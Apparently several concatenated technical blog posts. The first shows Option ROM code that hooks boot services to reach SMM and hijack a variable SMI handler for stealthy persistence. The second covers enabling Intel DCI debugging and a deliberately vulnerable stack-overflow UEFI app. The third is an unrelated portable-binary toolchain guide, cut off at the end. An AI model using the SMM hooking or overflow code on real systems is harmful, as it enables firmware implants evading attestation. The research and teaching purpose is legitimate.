[    0.000000] efi:  SMBIOS=0x3ebd2000  ACPI=0x3ebf9000  ACPI 2.0=0x3ebf9014  MEMATTR=0x3dcb6018
[    0.000000] secureboot: Secure boot enabled
[    0.000000] Kernel is locked down from EFI secure boot; see man kernel_lockdown.7
[    0.000000] SMBIOS 2.8 present.

And the TPM device:

$ dmesg
[...]
[    0.000000] tpm_tis 00:06: 1.2 TPM (device-id 0x1, rev-id 1)
[    0.000000] tpm tpm0: starting up the TPM manually

To inspect the PCR values we need to install tpm2-tools.

$ sudo rpm -i ./tpm2-tss-2.3.1-1.fc32.x86_64.rpm
$ sudo rpm -i ./tpm2-tools-3.2.0-3.fc31.x86_64.rpm
$ sudo tpm2_pcrlist
sha1 :
  0  : 475ea346af5cfc78c73f667e6342eb4936dced00 // Platform
  1  : 4a2ee913fdf51ff91eaab4b818007e6936141436 // Platform Config
  2  : 42516d0f53d87232b19d013880bc99d5c0f997b1 // Option ROM Code
  3  : b2a83b0ebf2f8374299a5b2bdfc31ea955ad7236 // Option ROM Config+Data
  4  : 5a7c6b901aa914083fa625f2e7a37860a79bf7dd // IPL Code
  5  : 696ac3602fd7f434d698180b2a02b15b8deadf4d // IPL Config+Datsa
  6  : b2a83b0ebf2f8374299a5b2bdfc31ea955ad7236
  7  : 4037336fa7bc0eabe3778fcfff5fcd0ee6adcde3
[...]
  9  : 0b3d418464da7ce0459dc9fc6d72447354a13e1e
[...]

We can boot several times and see the values are consistent. Later when we modify Option ROM code we can verify that only PCRs 2 and 3 change. This still allows us to boot since the measurements are only used as a log. If we implemented an attestation and included these PCRs we might fail.

Specifically, we’ll be making changes to iPXE and the romfile= value for QEMU’s configured e1000e device.

This testing environment allows for easy debugging with GDB. We can use uefi-gdb and add -s -S to the QEMU argument list to start QEMU in GDB, auto-add all the OVMF debug symbols, and persist our breakpoints between executions.

• Update the QEMU arguments to include -s -S, and remember to use accel=tcg instead of accel=kvm
• Start gdb -ex 'source ./uefi-gdb/efi.py' in the current-working-directory as QEMU’s output debug.log
• Run (gdb) efi -64 and make sure the OVMF debug symbols are loaded

Recommended symbols to break on include:

• CoreLoadImageCommon
• SmiHandlerRegister,
• SmmIplReadyToLockEventNotify
• PciHostBridgeResourceAllocator
• ProcessOpRomImage
• Defer3rdPartyImageLoad

Exploring the program state using these starting points helped me understand the end-to-end. I could hone in on what code was relevant and use that to dive deeper.

Within the OVMF platforms, UEFI Secure Boot does not verify Option ROM code due to PcdOptionRomImageVerificationPolicy set to 0x0. This is the case for for OvmfPkgIa32, OvmfPkgX64, OvmfPkgIa32X64, and OvmfXen. If we wanted we could modify the EDKII code and set the value to 0x4 for OvmfPkgIa32X64 to prevent our custom Option ROM from loading.

Modify OVMF to allow Option ROMs to execute code in SMM

An introduction to System Management Mode (SMM) is beyond the scope of this article. I highly recommend reading Building reliable SMM backdoor for UEFI based platforms by Dmytro Oleksiuk for an overview of SMM.

One thing that is relevant for us is knowing SMM/SMRAM is “locked” via SmmIplReadyToLockEventNotify. And images with deferred execution, like Option ROMs, are executed after this and the EndOfDxe event. This makes sense since Option ROM functionality should first be relevant during the Boot Device Selection (BDS) phase of UEFI’s lifecycle.

Observe in the QEMU debug.log

[Security] 3rd party image[0] is deferred to load before EndOfDxe: PciRoot(0x0)/Pci(0x2,0x0)/Offset(0x0,0x377FF).
[...]
SMM IPL locked SMRAM window
[Security] 3rd party image[3DEC8D18] can be loaded after EndOfDxe: PciRoot(0x0)/Pci(0x2,0x0)/Offset(0x0,0x377FF).
[...]

Option ROMs are discovered within OVMF within PciHostBridgeResourceAllocator. You can find the relevant parsing and execution within PciOptionRomSupport.c, specifically LoadOpRomImage. The load image is attempted and subsequently deferred.

An image, for example a DXE Driver, is scheduled for deferred execution based on its device path. If the path does not belong to a Firmware Volume it is considered 3rd-party and deferred. This check happens within Security2StubAuthenticate as part of FileFromFv and introduced in October 2016 via 8be37a5cee700777ca8e8e8a34cc2225b21931a7.

For the purposes of this experiment we will remove this check and allow Option ROMs to load before the EndOfDxe. We are not trying to demonstrate weakness or new knowledge, only explore and learn.

Install an SMM Interrupt (SMI) Handler

Lets focus on the iPXE codebase and ./src/interface/efi/efidrvprefix.c. This contains our Option ROM entry point, the first code intentionally executed by OVMF.

/**
 * EFI entry point
 *
 * @v image_handle	Image handle
 * @v systab		System table
 * @ret efirc		EFI return status code
 */
EFI_STATUS EFIAPI _efidrv_start ( EFI_HANDLE image_handle,
				  EFI_SYSTEM_TABLE *systab )

The first challenge is that this is executed ‘outside’ of SMM. And to my knowledge there is no configuration to request CoreLoadImage to execute an entry point within SMM like there is within the EDK using the DXE_SMM_DRIVER ModuleType.

The following represents the cleanest, easiest, and most reliable way to execute code from our Option ROM within SMM.

Within MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c we find that creating a gEfiEventDxeDispatchGuid event will cause SMM’s dispatcher to scan for new images as well. We will not add to this list directly, but instead replace a pointer that the SmmDriverDispatchHandler will execute.

306- //
307- // Declare event notification on the DXE Dispatch Event Group.  This event is signaled by the DXE Core
308- // each time the DXE Core dispatcher has completed its work.  When this event is signalled, the SMM Core
309- // if notified, so the SMM Core can dispatch SMM drivers.
310- //
311:  { FALSE, TRUE,  &gEfiEventDxeDispatchGuid,          SmmIplDxeDispatchEventNotify,      &gEfiEventDxeDispatchGuid,          TPL_CALLBACK, NULL },

We’ll add the following code to _efidrv_start, our entry point.

gBS = systab->BootServices;

// Replace the LocateHandleBuffer pointer, called in SmmDriverDispatchHandler.
gLocateHandleBufferBackup = (VOID*)gBS->LocateHandleBuffer;
gBS->LocateHandleBuffer = (VOID*)HijackedLocateHandleBuffer;

// Indirectly trigger SmmDispatch, and thus calling our PxeLocateHandleBuffer method.
efirc = gBS->CreateEventEx(
  EVT_NOTIFY_SIGNAL,
  TPL_NOTIFY,
  EfiEventEmptyFunction,
  NULL,
  &gEfiEventDxeDispatchGuid,
  &DxeDispatchEvent
);

Our trampoline HijackedLocateHandleBuffer can be simple.

EFI_STATUS
EFIAPI
HijackedLocateHandleBuffer (
  IN EFI_LOCATE_SEARCH_TYPE   SearchType,
  IN EFI_GUID                 *Protocol   OPTIONAL,
  IN VOID                     *SearchKey  OPTIONAL,
  IN OUT UINTN                *BufferSize,
  OUT EFI_HANDLE              *Buffer
  )
{
  EFI_HANDLE *HandleBuffer;

  // Remove the trampoline.
  if (gLocateHandleBufferBackup != NULL) {
    gBS->LocateHandleBuffer = (VOID*)gLocateHandleBufferBackup;
    gLocateHandleBufferBackup = NULL;
  }

  // Call the actual LocateHandleBuffer (not really needed).
  gBS->LocateHandleBuffer(
    SearchType,
    Protocol,
    SearchKey,
    BufferSize,
    &HandleBuffer
  );
  *BufferSize = 0;

  // We should be running in SMM now.
  OptionROMSmmEntryPoint();

  return Status;
}

During testing there was only ever one callback into the HijackedLocateHandleBuffer. The next step is to add sanity checks to make sure we are executing within SMM. If we are not then accessing anything within SMRAM, even at this stage before EndOfDxe will cause a fault.

VOID
OptionROMSmmEntryPoint()
{
  EFI_STATUS Status;
  BOOLEAN InSmm = FALSE;
  EFI_SMM_BASE2_PROTOCOL *InternalSmmBase2 = NULL;

  // Resolve EFI_SMM_BASE2_PROTOCOL, which works inside/outside of SMM.
  Status = gBS->LocateProtocol(
    &gEfiSmmBase2ProtocolGuid,
    NULL,
    (VOID **)&InternalSmmBase2
  );

  if (EFI_ERROR(Status) || InternalSmmBase2 == NULL) {
    // Unlikely.
    return;
  }

  // Convenient helper to check if code is running within SMRAM.
  Status = InternalSmmBase2->InSmm(InternalSmmBase2, &InSmm);
  if (EFI_ERROR(Status) || !InSmm) {
    // Unlikely.
    return;
  }

  // This will fail outside of SMM.
  Status = InternalSmmBase2->GetSmstLocation(InternalSmmBase2, &gSmst);
  if (EFI_ERROR(Status) || gSmst == NULL) 
    // Unlikely.
    return;
  }

  // Do more work here.
}

The next part of testing focuses on persisting code within SMM. One goal I had was to reliably trigger/execute code during OS execution without being root.

Overwrite EfiSMMVariableProtocol SMI

Our target is the EfiSMMVariableProtocol handler. This can be triggered by an unprivileged process opening an efivars sysfs node.

Create an example stub that we can later fill in (outside the scope of this article) with our payload code.

EFI_STATUS
EFIAPI
HijackedVariableHandler(
  IN     EFI_HANDLE                   DispatchHandle,
  IN     CONST VOID                   *RegisterContext,
  IN OUT VOID                         *CommBuffer,
  IN OUT UINTN                        *CommBufferSize
  )
{
  // Add your code here.

  // Return interrupt source pending to 'fall-through'.
  return EFI_WARN_INTERRUPT_SOURCE_PENDING;
}

Within OptionROMSmmEntryPoint lets install our handler.

The tricky part here is our handler will not replace the existing SMI handler but rather add to a list of handlers. When an SMI is triggered a list of handler methods is executed in the order they were installed, and only under certain conditions (their return code) a secondary or tertiary handler is attempted. We cannot cause the existing EfiSMMVariableProtocol handler to fail so we must uninstall and reinstall.

The final minor complication is our code right now is located outside of SMM. When SMM is locked, if it attempts to execute outside of SMRAM, a fault will occur. From a security/safety perspective this is ideal since we want to protect SMM’s execution.

  EFI_HANDLE Handle;
  VOID* handler;

  // We need to move our code into SMM.
  gSmst->SmmAllocatePool(EfiRuntimeServicesCode, 0x1000, &handler);
  gBS->CopyMem((void*)handler, HijackedVariableHandler, 0x1000);

  EFI_SMM_HANDLER_ENTRY_POINT2 HijackedVariableHandlerInSMM =
    (EFI_SMM_HANDLER_ENTRY_POINT2)handler;

  // Install our handler as secondary.
  Status = gSmst->SmiHandlerRegister(
    HijackedVariableHandlerInSMM,
    &gEfiSmmVariableProtocolGuid,
    &Handle
  );
  if (EFI_ERROR(Status)) {
    // Should free too.
    return;
  }

  SMI_HANDLER *SmiHandler = (SMI_HANDLER *)Handle;
  LIST_ENTRY *List = &SmiHandler->SmiEntry->SmiHandlers;
  LIST_ENTRY *Link = List->ForwardLink;

  // The 'real' or existing SMI handler.
  SMI_HANDLER *ExistingHandler = (SMI_HANDLER*)Link;
  EFI_SMM_HANDLER_ENTRY_POINT2 ExistingEntry =
    ExistingHandler->Handler;

  // Uninstall the primary handler.
  gSmst->SmiHandlerUnRegister((EFI_HANDLE)(ExistingHandler));

  // "Reinstall" the primary as the secondary.
  gSmst->SmiHandlerRegister(
    ExistingEntry,
    &gEfiSmmVariableProtocolGuid,
    &Handle
  );

  // Now our handler is primary.

If we add console logging to HijackedVariableHandler we can verify it is run often and can be triggered with the following:

$ cat /sys/firmware/efi/efivars/Lang-8be4df61-93ca-11d2-aa0d-00e098032b8c

And it is cool to see the only change to PCR measurements (as expected) are the Option ROM-relevant PCRs:

$ sudo tpm2_pcrlist
sha1 :
  0  : 475ea346af5cfc78c73f667e6342eb4936dced00 // Platform
  1  : 4a2ee913fdf51ff91eaab4b818007e6936141436 // Platform Config
  2* : f4a4943f9a6fbe351fe0d96b0894843bcea7fa83 // (changed!) Option ROM Code
  3  : b2a83b0ebf2f8374299a5b2bdfc31ea955ad7236 // Option ROM Config+Data
  4  : 5a7c6b901aa914083fa625f2e7a37860a79bf7dd // IPL Code
  5  : 696ac3602fd7f434d698180b2a02b15b8deadf4d // IPL Config+Datsa
  6  : b2a83b0ebf2f8374299a5b2bdfc31ea955ad7236
  7  : 4037336fa7bc0eabe3778fcfff5fcd0ee6adcde3
[...]
  9  : 0b3d418464da7ce0459dc9fc6d72447354a13e1e
[...]

Thanks for following along. I would appreciate any feedback and opportunity to improve the article.

Next steps

The following are high-level ‘next steps’ to consider.

• Investigate achieving the same results, modifying SMM using Option ROMs, without relaxing security. This means finding a way to bypass deferred execution.
• Investigate how Option ROM loading and execution is different with CSM enabled.
• Use an Option ROM to persist and run code in other ways. The goal would be to functionally tamper the OS execution state without affecting PCR measurements beyond the expected PCR 2 and PCR 3.
• Analyze and study more Option ROM code and use-cases.
• Ideas?

• Configuring an ASRock H370M-ITX/ac to allow DCI DbC debugging
• Using Intel System Studio and System Debugger to single-step a Coffee Lake-S i7-8700 CPU
• Debugging an example exploitable UEFI application on hardware

USB DCI DbC Debugging (JTAG over USB3)

TL;DR, if you have a newer CPU & chipset you can purchase a $15 off-the-shelf cable and single-step your hardware threads. The cable is a USB 3.0 debugging cable; and is similar to an ethernet crossover cable in the sense that the internal wiring is crossed. Be careful with this cable as unsupported machines will have undefined behavior due to the electronics of USB.

Newer Intel CPUs support debugging over USB3 via a proprietary Direct Connection Interface (DCI) with the use of off-the-shelf hardware. This applies to some 6th-generation CPU and chipset combinations, and most 7th-generation and newer setups. I have not found the specific CPU/chipsec combinations but my educated guess from the Core series is as follows:

• Kaby Lake / Intel 100 or 200 series SunrisePoint
• Coffee Lake-S / Intel Z370, H370, H310, or B360
• Kaby Lake R / 6th-gen Intel Core
• Whiskey Lake-U (8565U, 8265U, 8145U)
• Coffee Lake-S / H370, H310, B360

These combinations should support “DCI USB 3.x Debug Class” debugging. This means you only need the inexpensive debug cable linked above. Note that if debug-cable debugging is not support then a proprietary interposing device is required via a purchase from Intel.

From the documentation I’ve read, the USB3 hardware on a supported machine decodes DCI commands, forwards them to an appropriate hardware module on the target CPU that translates them to JTAG sequences. Intel provides a free-to-use, renewably-licenced, Intel System Studio and System Debugger software along with a DCI implementation called OpenDCI. This debugging environment is built with Eclipse and supported on macOS, Linux, and Windows. I’ve only found OpenDCI support for DbC-compatible targets on the Windows version.

You will need a Windows 10 install and Intel System Studio if you are following along.

Enable DCI on the ASRock H370M-ITX/ac

TL;DR you will need to enable and disable undocumented settings within UEFI by flipping several bits in a UEFI variable.

If you are doing casual research on DCI you will find several references to using a BIOS version with DCI enabled or using a UEFI debug build. I am sure they will be very helpful but it is not possible to acquire this in a general sense. However, we can still follow guidance on “modding” our UEFI to enable DCI. I found eiselekd’s DCI-enable guidance extremely helpful.

1. Use chipsec to dump your SPI contents to disk. e.g., chipsec_util spi dump rom.bin
2. Open rom.bin with UEFITool and extract GUID 899407D7-99FE-43D8-9A21-79EC328CAC21 (the Setup UEFI variable).
3. Use IFRExtractor to print a textual representation of the variable options.

The variables settings required for the H370M-ITX/ac are as follows, tested on version 3.10 and 4.00 UEFI releases:

• Enable/Disable IED (Intel Enhanced Debug): offset 0x960, set to enabled 0x1
• CPU Run Control: offset 0x663, set to enabled 0x1
• CPU Run Control Lock: offset 0x664, set to disabled 0x0
• Platform Debug COnnect: offset 0x114F, set to 0x03 to enable DCI DbC
• xDCI Support: offset 0xABD, set to enabled 0x1

To modify and save these offsets follow the guidance above to use the UEFI Shell and RU.efi application by James Wang.

You can confirm that DCI is enabled by reading the USB3 device class label when you connect the debug cable into your host and target machines. The host should have Intel System Studio installed and the target is the H370M-ITC/ac. The host USB driver will read “Intel USB Native Debug Class Devices” if DCI is enabled. If there is an error you will see “Port Reset Failed”. An easy way to view the detailed USB device information is with USB Tree View. Chipsec will also report if DCI is enabled but I found that DbC-specific availability is not reported; so use the USB device driver selection in Windows to confirm the UEFI options are set correctly.

Single-stepping the i7-8700

To recap the requirements and setup:

• You have a host machine running Windows 10 with Intel System Studio installed
• The host machine and target i7-8700/H370M-ITX/ac are connected via a USB3 DbC cabled
• The host machine shows a connected “Intel USB Native Debug Class Device” USB device

Interrupt the target machine’s boot such that you enter UEFI Setup (press F2). This is not required but it will help while following along with the address space and other layout details. I have not figured out how to halt the CPU on reset with DCI and DbC.

In Intel System Studio you should open System Debugger and configure your target connection to use “8th Gen Intel Core Processors (Coffee Lake-S) _ Intel H370 Chipset Intel H310 Chipset Intel B360 Chipset for Consumer (Cannon Lake PCH)” using the connection method: “Intel(R) DCI USB 3.x Debug Class”

Upon success you will see status output similar to the following:

22:02:20 [INFO ] TCA - IPConnection: Open Connection, configuration: CFL_CNP_OpenDCI_DBC_Only_ReferenceSettings.
22:02:57 [INFO ] Starting DAL ...
22:02:57 [DAL  ] The system cannot find the batch label specified - SetScriptPath
22:02:58 [DAL  ] Registering MasterFrame...
22:03:00 [DAL  ] Using Intel DAL 1.1905.602.100 
22:03:00 [DAL  ] Using python.exe 2.7.15 (64bit), .NET 2.0.50727.8940, Python.NET 2.0.19, pyreadline 2.1.1
22:03:02 [DAL  ]     Note:    The 'coregroupsactive' control variable has been set to 'GPC'
22:03:10 [DAL  ] Using CFL_CNP_OpenDCI_DBC_Only_ReferenceSettings
22:03:10 [DAL  ] >>? DAL startup completed
22:03:10 [INFO ] Connection Manager: Status change: CONNECTED
    Connection: 8th Gen Intel Core Processors (Coffee Lake-S) _ Intel H370 Chipset Intel H310 Chipset Intel B360 Chipset for Consumer (Cannon Lake PCH)
    Target: 8th Gen Intel Core Processors (Coffee Lake-S) / Intel H370 Chipset, Intel H310 Chipset, Intel B360 Chipset for Consumer (Cannon Lake PCH)
    Connection Method: Intel(R) DCI USB 3.x Debug Class

And output similar to the following screen captures:

The connection will also pause the CPU threads and show you the nearby disassembly. If the CPU is not paused and clicking the “pause” button fails you have not enabled DCI completely. For example, if you encounter either, ExecutionControlUnableToHaltAllException, or operation not allowed while the processor is in state 'running' then double-check the UEFI Setup variable options.

A successful connection will show a UI similar to the following:

And you can now View and inspect memory as well as other common JTAG-debugging features.

Debugging an example exploitable UEFI application on hardware

TL;DR this is extremely simple and thus a great toy example, due to the lack of platform runtime security in UEFI and lack of build and compile security in the UEFI development kit (EDK/UDK).

The goal is to build a “toy” vulnerable UEFI application, trigger the exploitation, and observe the behavior within the System Debugger on the connected host. The first step is to configure the edk2 build environment. This is well-documented in several places.

I will modify the HelloWorld application and replace the MdeModulePkg/Application/HelloWorld/HelloWorld.c with the following content.

#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/UefiApplicationEntryPoint.h>

#include <Protocol/LoadedImage.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/MemoryAllocationLib.h>

VOID RunAsm();

CHAR16* GetArgv(IN EFI_HANDLE ImageHandle)
{
  EFI_LOADED_IMAGE* li;
  EFI_GUID loaded_image_protocol = LOADED_IMAGE_PROTOCOL;
  gBS->HandleProtocol(ImageHandle, &loaded_image_protocol, (void**) &li);

  CHAR16* wargv = (CHAR16 *)li->LoadOptions;
  return wargv;
}

VOID RunMe()
{
  Print(L"You win\n");
  RunAsm();
}

UINT32 StrLenChar(CHAR8* src) {
  UINT32 ret = 0;
  while (src[ret++] != 0) {}
  return ret - 1;
}

VOID StrCpy(CHAR8* dst, CHAR16* src, UINT32 length) {
  CHAR8 *src8 = (CHAR8*)src;
  for (UINT32 i = 0; i < length; i++) {
    dst[i] = src8[(i*2)];
  }

  UINT64 loc = (UINT64)&RunMe;
  dst[length - 1] = 0;
  dst[length - 2] = 0;
  dst[length - 3] = 0;
  dst[length - 4] = 0;
  dst[length - 5] = ((loc >> (8 * 3)) & 0xFF);
  dst[length - 6] = ((loc >> (8 * 2)) & 0xFF);
  dst[length - 7] = ((loc >> (8 * 1)) & 0xFF);
  dst[length - 8] = ((loc >> (8 * 0)) & 0xFF);
}

 __attribute__((noinline)) VOID
 TestBufferOverflow(CHAR16* input)
 {
  /* Test stack buffer overflow */

  // Compiled with EDKII that auto-adds (-fno-stack-protector)
  CHAR8 buffer[32];
  StrCpy((CHAR8*)buffer, input, StrLen(input));
  buffer[StrLen(input)] = 0;
}

EFI_STATUS EFIAPI UefiMain (
  IN EFI_HANDLE        ImageHandle,
  IN EFI_SYSTEM_TABLE  *SystemTable
) {
  // Run with: fs0:X64\HelloWorld.efi A*222

  Print(L"UefiMain=0x%p\n", &UefiMain);
  CHAR16* wargv = GetArgv(ImageHandle);
  UINT32 wargv_len = StrLen(wargv);
  TestBufferOverflow(wargv);

  return EFI_SUCCESS;
}

The specific build command is

$ . ./edksetup.sh BaseTools
$ build -m MdeModulePkg/Application/HelloWorld/HelloWorld.inf -p MdeModulePkg/MdeModulePkg.dsc

And if you would like to test that this runs follow the QEMU debugging guide and use:

$ qemu-system-x86_64 -bios /usr/share/OVMF/OVMF_PURE_EFI.fd -display none -nodefaults -serial stdio -hda fat:Build/MdeModule/DEBUG_GCC5

The code above is a sythethetic stack-based buffer overflow example. It will auto-fill in the overwritten ret address for you. If you want to learn what is happening here please read Dhaval’s articles on Buffer Overflows. As a note, we could choose to make this more realistic (e.g., remove the auto-filled ret) by reading a file into the vulnerable stack variable.

The default edk2 build configuration will compile the overflow into the following flow, where the StrCpy logic is inlined:

Our goal is to copy 0x30 characters into the buffer, overflowing the expected 0x20, the 8 for the saved RBX, and 16 for RSP and RIP; at which point the final 8 will be filled in with the address of RunMe.

For some fast feedback we’ll print to ConsoleOut then reset the CPU using:

ASM_GLOBAL ASM_PFX(RunAsm)
ASM_PFX(RunAsm):
    mov $254, %al
    out %al, $100
    ret

If a console is not available then this functions well for blind-testing control of rip.

Because we are printing the location of UefiMain we can both confirm that each time the application is executed the address is constant and know what location to set a hardware breakpoint in System Debugger so we can single-step and watch the overflow.

For my UEFI build this location was 0x600BC69C, which means the .text is loaded to an offset of 0x600BB000 as this subroutine is 0x169C. From here we can add more breakpoints in System Debugger.

For more information about DCI and why you should keep it disabled unless explicitly debugging, please read Intel DCI Secrets from Positive Technologies presented at HITBSecConf 2017.

The low-level solution is to use a C++ runtime that requires only glibc 2.13+ runtime linkage and link all third-party libraries as well as the compiler runtime and C++ implementation statically. Do not make a “fully static” binary. You will most likely find a glibc newer than 2.13 on every Linux distribution released since 2011. The high-level solution is to use the build-anywhere scripts to build a easy-to-use toolchain and set compiler flags.

What is build-anywhere?

I often find I need to build a set of third-party librarys for an executable I’d like to run on a lot of heterogenious Linux installs. I want a “really really static binary” but know in practice this is hard to acheive.

Introducing ‘build-anywhere’, a x86_64 compiler and glibc runtime designed to help you build ultra-portable binaries. The build-anywhere toolchain is new, but it has had intial successes and should not change much beyond stabilization.

There are two bits of magic inside:

• Both a static GCC libstdc++ and static LLVM libc++ implementation with C linkage against a glibc 2.13 and zlib 1.2.11.
• Scripts you can source to pick the right CC/CXX/CFLAGS/LDFLAGS options.

Quick TL;DR

• Download x86_64-anywhere-linux-gnu-v2.tar.xz from the GitHub releases page
• Untar and install where ever you want
• Run source ./x86_64-anywhere-linux-gnu/scripts/anywhere-setup-security.sh
• Build your third-party libraries and make install
• Build you project
• Check your work with willitrun

In practice your third-party dependencies will install shared libraries and your final project will want to link those dispite your efforts to configure the build. You can “cheat” this by removing the shared libraries installed into the build-anywhere prefix.

A few examples

I have installed my anywhere runtime into /opt/rt. After sourcing the above script, some of my environment variables change.

The goal is now to work with a few library build systems so they pick up these variables and install static libraries into $PREFIX.

$ source ./x86_64-anywhere-linux-gnu/scripts/anywhere-setup-security.sh
$ env | grep anywhere
PATH=/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin:/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/sbin:...
CC=clang --gcc-toolchain=/opt/rt/x86_64-anywhere-linux-gnu --sysroot=/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot
CXX=clang++ --gcc-toolchain=/opt/rt/x86_64-anywhere-linux-gnu --sysroot=/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot
CONFIG_SITE=/opt/rt/x86_64-anywhere-linux-gnu/config.site
PKG_CONFIG_PATH=/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/lib/pkgconfig
LIBRARY_PATH=/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/lib
CFLAGS=--gcc-toolchain=/opt/rt/x86_64-anywhere-linux-gnu --sysroot=/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot -march=x86-64 -fPIC -fPIE -fstack-protector-all -fsanitize=safe-stack
CXXFLAGS=--gcc-toolchain=/opt/rt/x86_64-anywhere-linux-gnu --sysroot=/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot -march=x86-64 -fPIC -fPIE -fstack-protector-all -fsanitize=safe-stack -stdlib=libc++
PREFIX=/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr

What does all of this mean?

• Auto tools, CMake, and other build configuration managers will usually respect the environment’s CC, CXX, CFLAGS, CXXFLAGS, and LDFLAGS settings
• If pkg-config is needed, it should prefer configurations in your build-anywhere runtime.
• The “prefix” that packages should install into is available as $PREFIX.

A lot of things can go wrong here. Off the top of my head, CPPFLAGS is not set, AS and other assembler flags are not set, you will most likely get duplicate-flag or unused-flag warnings, nothing controls package preference for static or shared library usage or production.

Never-the-less, let’s jump in and build ssdeep.

$ wget https://github.com/ssdeep-project/ssdeep/releases/download/release-2.14.1/ssdeep-2.14.1.tar.gz
$ tar xf ssdeep-2.14.1.tar.gz
$ cd ssdeep-2.14.1
$ ./configure --disabled-shared
$ make && make install

This installed an ssdeep binary and a libfuzzy.a static library into the $PREFIX. The only non-standard thing here is adding --disable-shared.

Let’s inspect the resulting ssdeep binary’s runtime linkage requirements:

$ ldd -v $PREFIX/bin/ssdeep
	linux-vdso.so.1 (0x00007ffc813e1000)
	libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f0ecf0c6000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f0eceea7000)
	librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007f0ecec9f000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0ecea9b000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0ece6aa000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f0ecf464000)

	Version information:
	./ssdeep:
		libdl.so.2 (GLIBC_2.2.5) => /lib/x86_64-linux-gnu/libdl.so.2
		ld-linux-x86-64.so.2 (GLIBC_2.3) => /lib64/ld-linux-x86-64.so.2
		ld-linux-x86-64.so.2 (GLIBC_2.2.5) => /lib64/ld-linux-x86-64.so.2
		libpthread.so.0 (GLIBC_2.2.5) => /lib/x86_64-linux-gnu/libpthread.so.0
		libc.so.6 (GLIBC_2.4) => /lib/x86_64-linux-gnu/libc.so.6
		libc.so.6 (GLIBC_2.3) => /lib/x86_64-linux-gnu/libc.so.6
		libc.so.6 (GLIBC_2.7) => /lib/x86_64-linux-gnu/libc.so.6
		libc.so.6 (GLIBC_2.2.5) => /lib/x86_64-linux-gnu/libc.so.6

This binary depends on glibc 2.7+. This should run anywhere.

Use the provided willitrun to double check. This is a quick-script to apply basic linkage dependency checks.

$ willitrun $PREFIX/bin/ssdeep
✓ /opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin/ssdeep: yes

The next example is OpenSSL, the build system requires inspection and will not work out of the box. Here is a working example.

$ wget https://dl.bintray.com/homebrew/mirror/openssl-1.0.2o.tar.gz 
$ tar xf openssl-1.0.2o.tar.gz
$ cd openssl-1.0.2o
$ ./Configure --prefix=$PREFIX \
  no-ssl3 no-asm no-weak-ssl-ciphers \
  zlib-dynamic no-shared linux-x86_64 \
  "$CFLAGS -Wno-unused-command-line-argument" \
  "$LDFLAGS"
$ make depend
$ make && make install

Next try a more complicated build like cmake.

$ wget https://github.com/Kitware/CMake/releases/download/v3.13.2/cmake-3.13.2.tar.gz
$ tar xf cmake-3.13.2.tar.gz
$ cd cmake-3.13.2
$ ./bootstrap --prefix=$PREFIX
$ make && make install

The only non-standard option is adding --prefix to cmake’s bootstrap script.

Use the provided Vagrantfile to be extra sure the resulting cmake can run anywhere. Copy the project’s Vagrantfile to the folder you installed build-anywhere, in my example this is /opt/rt.

$ cp Vagrantfile /opt/rt
$ vagrant up centos6
$ vagrant ssh centos6
[vagrant@localhost ~]$ /vagrant/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin/cmake 
Usage

  cmake [options] 
  cmake [options] 
  cmake [options] -S  -B 

Specify a source directory to (re-)generate a build system for it in the
current working directory.  Specify an existing build directory to
re-generate its build system.

Run 'cmake --help' for more information.

Use libc++ by default

The setup scripts will use libc++ by default because there are no shared versions of these libraries installed with the build-anywhere toolchain(!)

Builds like sleuthkit’s make assumptions about how you want to link. In these cases the build tries very hard to link the dynamic library. The ‘forcing function’ flags to use libc++ over GCC’s libstdc++ are essentially the following (already set with build-anywhere).

LDFLAGS=$LDFLAGS -l:libc++.a -l:libc++abi.a -l:libunwind.a -lpthread
CXXFLAGS=$CXXFLAGS -stdlib=libc++

So if you try to build sleuthkit:

$ wget https://github.com/sleuthkit/sleuthkit/archive/sleuthkit-4.6.1.tar.gz
$ tar xf sleuthkit-4.6.1.tar.gz
$ cd sleuthkit-sleuthkit-4.6.1
$ ./configure --disable-shared
$ make && make install
$ willitrun $PREFIX/bin/icat 
✓ /opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin/icat: yes

And if you are curious to compare binary size impact:

• 1,096,968 bytes with shared linkage (normal)
• 1,277,240 bytes with static linkage (+14%)
• 1,039,968 bytes total if you add -Oz

The impact is not trivial. You should not be optimizing for binary size and portability simultaniously.

Add Clang’s Control Flow Integrity

It is fairly simple to add additional features like CFI.

$ export LDFLAGS="$LFDLAGS -flto -fsanitize=cfi"
$ export CFLAGS="$CFLAGS -fvisibility=hidden -fsanitize=cfi -flto"
$ export CXXFLAGS="$CXXFLAGS -fvisibility=hidden -fsanitize=cfi -flto"

These are not on by default yet. But adding them and building ssdeep again works fine.

$ ssdeep `which ssdeep`
ssdeep,1.1--blocksize:hash:hash,filename
98304:Cj4OKS9OwIrgvVzDnW20B2TgMW8dkcIBN1/hvPWMkCCz51U8B:z0wvh261/VTXCzI,"/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin/ssdeep"

Add ASAN by adding -fsanitize=address to the three sets of flags, and finds a leak in ssdeep:

